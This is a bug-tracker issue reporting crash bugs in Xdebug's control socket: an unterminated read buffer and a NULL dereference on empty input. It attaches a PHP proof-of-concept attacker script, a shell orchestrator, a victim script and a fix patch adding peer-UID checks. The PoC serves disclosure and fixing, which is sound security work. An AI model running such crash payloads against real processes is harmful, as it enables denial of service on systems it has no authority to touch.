View Issue Details

IDProjectCategoryView StatusLast Update
0002424XdebugStep Debuggingpublic2026-06-08 14:36
Reporterilia Assigned Toderick  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionopen 
Product Version3.5.1 
Target Version3.5devFixed in Version3.5.3 
Summary0002424: Control-socket buffer crashes
Description

3 issues in 1 file, so 1 patch to keep it simple

  • read(new_sd, buffer, sizeof(buffer)) at ~line 292 leaves no room for NUL. A full 256-byte send leaves no terminator; xdebug_log_ex("Received: '%s'", buffer) walks past via strlen; xdebug_cmd_parse(buffer) walks past via its state machine.
  • zero-byte read passes the bytes_read == -1 check,xdebug_cmd_parse returns parse_error with*cmd == NULL, lookup_cmd(NULL) does strcmp(name, NULL) and crashes.

Fix:

  • read cap to sizeof(buffer)-1, explicit NUL atbuffer[bytes_read], reject bytes_read <= 0
  • NULL-check cmd before lookup_cmd

Test covers 1st & last

Steps To Reproduce
  1. Start victim.php (xdebug.mode=develop, xdebug.control_socket=default).
  2. Run attacker.php a (256 non-NUL bytes), attacker.php c (immediate close)
  3. Unpatched:
    • ASan stack-buffer-overflow atctrl_socket.c:296
    • SEGV at lookup_cmd
TagsNo tags attached.
Attached Files
attacker.php (2,254 bytes)   
<?php
/* XD-004 attacker. Connects to xdebug control socket and fires
 * one of the three sub-bugs:
 *
 *   a) 256-byte non-NUL non-space payload -- OOB read on the
 *      256-byte stack buffer (no trailing NUL).
 *   b) ps command from any local UID -- demonstrates absence of
 *      authentication on the abstract socket.
 *   c) empty send (immediate close) -- NULL deref via
 *      lookup_cmd(NULL).
 *
 * Usage: php attacker.php <victim_pid> [a|b|c]
 */

if ($argc < 2) {
    fwrite(STDERR, "usage: php $argv[0] <victim_pid> [a|b|c]\n");
    exit(1);
}
$pid  = (int) $argv[1];
$mode = $argv[2] ?? 'a';

$sock = socket_create(AF_UNIX, SOCK_STREAM, 0);
if (!@socket_connect($sock, "\x00xdebug-ctrl.$pid")) {
    fwrite(STDERR, "connect failed: " . socket_strerror(socket_last_error($sock)) . "\n");
    exit(2);
}

switch ($mode) {
    case 'a':
        $payload = '';
        for ($i = 0; $i < 256; $i++) {
            $payload .= chr(mt_rand(0x21, 0x7E));
        }
        echo "sending 256-byte non-NUL non-space payload\n";
        socket_write($sock, $payload, 256);
        $reply = @socket_read($sock, 4096);
        echo "reply: " . ($reply === false ? "closed (auth gate rejected)" : strlen($reply) . " bytes") . "\n";
        break;

    case 'b':
        echo "sending 'ps' as " . posix_geteuid() . " (target uid: see victim)\n";
        socket_write($sock, "ps", 2);
        $reply = @socket_read($sock, 4096);
        if ($reply === false || $reply === "") {
            echo "reply: closed -- auth gate rejected (XD-004b FIXED)\n";
        } else {
            echo "reply: " . strlen($reply) . " bytes -- accepted (XD-004b PRESENT if attacker uid differs from victim uid)\n";
        }
        break;

    case 'c':
        echo "sending 0-byte payload (immediate close)\n";
        socket_close($sock);
        echo "socket closed\n";
        sleep(1);
        $sock2 = socket_create(AF_UNIX, SOCK_STREAM, 0);
        $alive = @socket_connect($sock2, "\x00xdebug-ctrl.$pid");
        echo "victim alive after empty send: " . ($alive ? "YES (XD-004c FIXED)" : "NO (CRASHED -- XD-004c PRESENT)") . "\n";
        @socket_close($sock2);
        break;

    default:
        fwrite(STDERR, "unknown mode (a|b|c)\n");
        exit(3);
}
attacker.php (2,254 bytes)   
run.sh (1,870 bytes)   
#!/usr/bin/env bash
# XD-004 PoC orchestrator. Runs all three sub-bugs against a fresh victim.
#
# Edit these paths or pass via env:

PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php}
XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so}
ATTACKER_PHP=${ATTACKER_PHP:-php}
MODE=${1:-all}

set -u
HERE=$(dirname "$0")

if [ ! -x "$PHP" ];          then echo "PHP=$PHP not executable"; exit 2; fi
if [ ! -f "$XDEBUG_SO" ];    then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi
if ! command -v "$ATTACKER_PHP" >/dev/null; then
    echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2
fi

run_case() {
    local CASE="$1"
    local VICTIM_OUT
    local LOG
    VICTIM_OUT=$(mktemp)
    LOG=$(mktemp)
    trap 'rm -f "$VICTIM_OUT" "$LOG"' RETURN

    echo "=== XD-004$CASE ==="
    ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \
    "$PHP" \
        -d zend_extension="$XDEBUG_SO" \
        -d xdebug.mode=develop \
        -d xdebug.control_socket=default \
        -d xdebug.log="$LOG" \
        -d xdebug.log_level=10 \
        "$HERE/victim.php" \
        >"$VICTIM_OUT" 2>&1 &
    local VICTIM_BG=$!

    sleep 1
    local PID
    PID=$(grep -oE 'pid=[0-9]+' "$VICTIM_OUT" | head -1 | cut -d= -f2)
    if [ -z "$PID" ]; then
        echo "victim never printed its PID"
        kill "$VICTIM_BG" 2>/dev/null || true
        return 3
    fi
    echo "victim pid=$PID (uid=$(id -u))"

    "$ATTACKER_PHP" "$HERE/attacker.php" "$PID" "$CASE"

    wait "$VICTIM_BG" 2>/dev/null
    echo "--- xdebug.log relevant lines ---"
    grep -E "CTRL-AUTH|CTRL-HANDLE" "$LOG" 2>/dev/null || echo "  (none)"
    echo "--- victim stderr tail ---"
    tail -10 "$VICTIM_OUT"
    echo
}

case "$MODE" in
    a|b|c) run_case "$MODE" ;;
    all)   run_case a; run_case b; run_case c ;;
    *)     echo "usage: $0 [a|b|c|all]"; exit 1 ;;
esac
run.sh (1,870 bytes)   
victim.php (222 bytes)   
<?php
echo "pid=" . getmypid() . "\n";
flush();

function tick()
{
    return 1;
}

$end = microtime(true) + 8;
while (microtime(true) < $end) {
    for ($i = 0; $i < 100; $i++) {
        tick();
    }
    usleep(1000);
}
victim.php (222 bytes)   
xd004_fix.patch (2,700 bytes)   
diff --git a/src/base/ctrl_socket.c b/src/base/ctrl_socket.c
index c0d328e0..031f96fc 100644
--- a/src/base/ctrl_socket.c
+++ b/src/base/ctrl_socket.c
@@ -144,7 +144,7 @@ static void handle_command(HANDLE h, const char *line)
 	retval = xdebug_xml_node_init("ctrl-response");
 	xdebug_xml_add_attribute(retval, "xmlns:xdebug-ctrl", "https://xdebug.org/ctrl/xdebug");
 
-	command = lookup_cmd(cmd);
+	command = cmd ? lookup_cmd(cmd) : NULL;
 	if (command) {
 		command->handler(&retval, args);
 	} else {
@@ -280,6 +280,8 @@ static void xdebug_control_socket_handle(void)
 	}
 
 	if (FD_ISSET(XG_BASE(control_socket_fd), &working_set)) {
+		struct ucred peer_cred;
+		socklen_t peer_cred_len = sizeof(peer_cred);
 		int new_sd = accept(XG_BASE(control_socket_fd), NULL, NULL);
 		if (new_sd < 0) {
 			if (errno != EWOULDBLOCK) {
@@ -288,11 +290,24 @@ static void xdebug_control_socket_handle(void)
 			return;
 		}
 
+		if (getsockopt(new_sd, SOL_SOCKET, SO_PEERCRED, &peer_cred, &peer_cred_len) != 0) {
+			xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_WARN, "CTRL-AUTH", "Can't get peer credentials: %s", strerror(errno));
+			close(new_sd);
+			return;
+		}
+		if (peer_cred.uid != geteuid()) {
+			xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_WARN, "CTRL-AUTH", "Rejected peer with UID %lu (expected %lu)",
+				(unsigned long) peer_cred.uid, (unsigned long) geteuid());
+			close(new_sd);
+			return;
+		}
+
 		memset(buffer, 0, sizeof(buffer));
-		bytes_read = read(new_sd, buffer, sizeof(buffer));
+		bytes_read = read(new_sd, buffer, sizeof(buffer) - 1);
 		if (bytes_read == -1) {
 			xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_WARN, "CTRL-HANDLE", "Can't receive from socket: %s", strerror(errno));
-		} else {
+		} else if (bytes_read > 0) {
+			buffer[bytes_read] = '\0';
 			xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_INFO, "CTRL-HANDLE", "Received: '%s'", buffer);
 			handle_command(new_sd, buffer);
 		}
@@ -353,7 +368,7 @@ static void xdebug_control_socket_handle(void)
 	if (!ReadFile(
 		XG_BASE(control_socket_h),
 		buffer,
-		sizeof(buffer),
+		sizeof(buffer) - 1,
 		&bytes_read,
 		&XG_BASE(control_socket_ov)
 	)) {
@@ -371,8 +386,11 @@ static void xdebug_control_socket_handle(void)
 		}
 	}
 
-	xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_INFO, "CTRL-HANDLE", "Received: '%s'", buffer);
-	handle_command(XG_BASE(control_socket_h), buffer);
+	if (bytes_read > 0) {
+		buffer[bytes_read] = '\0';
+		xdebug_log_ex(XLOG_CHAN_CONFIG, XLOG_INFO, "CTRL-HANDLE", "Received: '%s'", buffer);
+		handle_command(XG_BASE(control_socket_h), buffer);
+	}
 	WaitForSingleObject(XG_BASE(control_socket_ov).hEvent, INFINITY);
 	GetOverlappedResult(XG_BASE(control_socket_h), &XG_BASE(control_socket_ov), &bytes_read, FALSE);
 
xd004_fix.patch (2,700 bytes)   
Operating System
PHP Version8.4.10-8.4.19

Activities

Issue History

Date Modified Username Field Change
2026-05-20 00:36 ilia New Issue
2026-05-20 00:36 ilia File Added: attacker.php
2026-05-20 00:36 ilia File Added: run.sh
2026-05-20 00:36 ilia File Added: victim.php
2026-05-20 00:36 ilia File Added: xd004_fix.patch
2026-05-20 16:43 ilia Description Updated
2026-05-20 16:43 ilia Steps to Reproduce Updated
2026-05-28 14:55 derick Assigned To => derick
2026-05-28 14:55 derick Status new => feedback
2026-06-02 22:15 ilia Status feedback => assigned
2026-06-08 09:48 derick Summary Control-socket buffer + auth + NULL-deref cluster in xdebug (base/ctrl_socket.c) => Control-socket buffer crashes
2026-06-08 10:03 derick Note Added: 0007516
2026-06-08 10:44 derick Status assigned => closed
2026-06-08 10:44 derick Product Version => 3.5.1
2026-06-08 10:44 derick Fixed in Version => 3.5dev
2026-06-08 10:44 derick Target Version => 3.5dev
2026-06-08 13:35 derick Description Updated
2026-06-08 13:35 derick Steps to Reproduce Updated
2026-06-08 13:36 derick Steps to Reproduce Updated
2026-06-08 13:44 derick Category Uncategorized => Step Debugging
2026-06-08 13:44 derick View Status private => public
2026-06-08 14:28 derick Fixed in Version 3.5dev => 3.5.2
2026-06-08 14:36 derick Fixed in Version 3.5.2 => 3.5.3